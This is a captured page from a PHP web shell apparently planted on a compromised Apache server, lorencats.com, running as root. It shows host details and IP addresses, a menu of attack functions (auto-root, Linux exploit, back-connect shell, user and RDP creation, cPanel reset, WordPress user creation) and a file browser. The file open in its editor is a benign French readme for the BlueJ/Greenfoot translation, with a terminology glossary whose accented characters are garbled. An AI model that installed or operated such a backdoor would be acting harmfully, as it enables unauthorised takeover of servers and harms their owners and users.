Linux lorencats.com 5.10.103-v7l+ #1529 SMP Tue Mar 8 12:24:00 GMT 2022 armv7l
Apache/2.4.59 (Raspbian)
: 10.0.0.29 | : 216.73.216.15
Cant Read [ /etc/named.conf ]
7.3.31-1~deb10u7
root
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
greenfoot /
french /
[ HOME SHELL ]
Name
Size
Permission
Action
greenfoot
[ DIR ]
drwxr-xr-x
templates
[ DIR ]
drwxr-xr-x
dialogues
16.82
KB
-rw-r--r--
labels
33.13
KB
-rw-r--r--
lisezmoi
4.23
KB
-rw-r--r--
moe.help
7.58
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : lisezmoi
fichier: lisezmoi description: Traduction fran�aise du logiciel BlueJ =================================================== Date: 2013-02-05 Auteur: Ludovic Borie Romain Sertelon, pour Programatoo (programatoo@sfeir.com) Version BlueJ concernée: 2.2.1 Cette traduction est disponible et ouverte à participation sur Github https://github.com/lborie/FrenchGreenfoot Principes de traduction ----------------------- La traduction concerne l'environnement BlueJ : - menus - commentaires d'erreur - messages d'aide de BlueJ - les aides de l'�diteur "moe" li�es aux associations de touches (key bindings) - les messages du syst�me sous-jacent Java - le texte des exemples - le texte des mod�les (templates) Je consid�re qu'un programmeur francophone, m�me d�butant, peut programmer aussi bien en anglais qu'en fran�ais, pour ce qui est des noms d'entit�s priv�es (variables, m�thodes, classes, etc.). Cependant, il est pr�f�rable que les noms d'entit�s publiques et la documentation du code soient en anglais afin de pr�server l'universalit� du code. Terminologie ------------ (P. Moreaux, 2007-07-10): Concernant les aspects cvs/subversion (versionnement): - le terme "Commit" est traduit par "Validation", "Valider". - le terme "Checkout" est traduit par "Extraction", Extraire". - le terme "merge" est traduit par "fusion". - le terme "repository" est traduit par "d�p�t". - le terme "location" est traduit par "localisation". - le terme "pserver" est conserv�. - le terme "OK" a �t� conserv�. Concernant les aspects "Diagram" (diagrammes): - le terme "layout" est traduit par "agencement". Concernant les aspects "Team" (travail en �quipe): - le terme "Team" est traduit par "�quipe". (P. Moreaux, 2003-12-06): - le terme "Object Bench" est traduit par "Bureau Objets" - le terme "Debugger", traduit par "Navigateur" a �t� traduit dans tous les fichiers. Il �tait, de mani�re incoh�rente, traduit par "fureteur" dans plusieurs fichiers. --------------------------------------------------------------------------- Les �quivalences signal�es par l'abr�viation CGTN sont celles sugg�r�es par la Commission g�n�rale de terminologie et de n�ologie de France. Anglais Fran�ais ------------|--------------------------------------------------- applet applet (CGTN : appliquette) appletviewer visualiseur d'applet backup sauvegarde, sauvegarder boot amorcer, d�marrer breakpoint point d'arr�t, d'interruption browser navigateur buffer tampon catch attraper (une exception) commit valider crash se planter, plantage debugger d�bogueur exception exception 'extends' clause 'extends' fixture engagements (au sens junit.framework.TestCase) font police handler gestionnaire (pilote, dans le cas d'un p�riph�rique) identifier identificateur, identifiant inner class classe imbriqu�e jar (extension des fichiers compress�s Java) key bindings raccourcis-clavier label �tiquette library biblioth�que log journal 'main' m�thode 'main' modifier modificateur native intrins�que notify aviser override remplacer package paquetage path chemin d'acc�s proxy mandataire raster trame save enregistrer scope contexte stream flot tab tabulation tag balise template mod�le thread fil throw lever, lancer (une exception) token atome (au sens syntactique) typecast for�age de type url adresse Internet 'uses' clause 'uses' web Web (CGTN : Toile) Précédemment ------------ Date: 2007-07-10 Auteur: Patrice Moreaux Polytech'Savoie, Universit� de Savoie, Anecy, FRANCE (patrice.moreaux@univ-savoie.fr) Version BlueJ concernée: 2.2.0 (2007-07-09) Cette traduction est basée sur la version du 2003-12-06. La traduction du 2003-12-06 est basée sur celle fournie par Daniel U. Thibault R & D pour la défense Canada - Valcartier (Daniel.Thibault@DRDC-RDDC.GC.Ca) pour la version 1.3.0beta4 (2003-07-14) elle-même basée sur ma traduction pour la version 1.2.2 fin du fichier lisezmoi
Close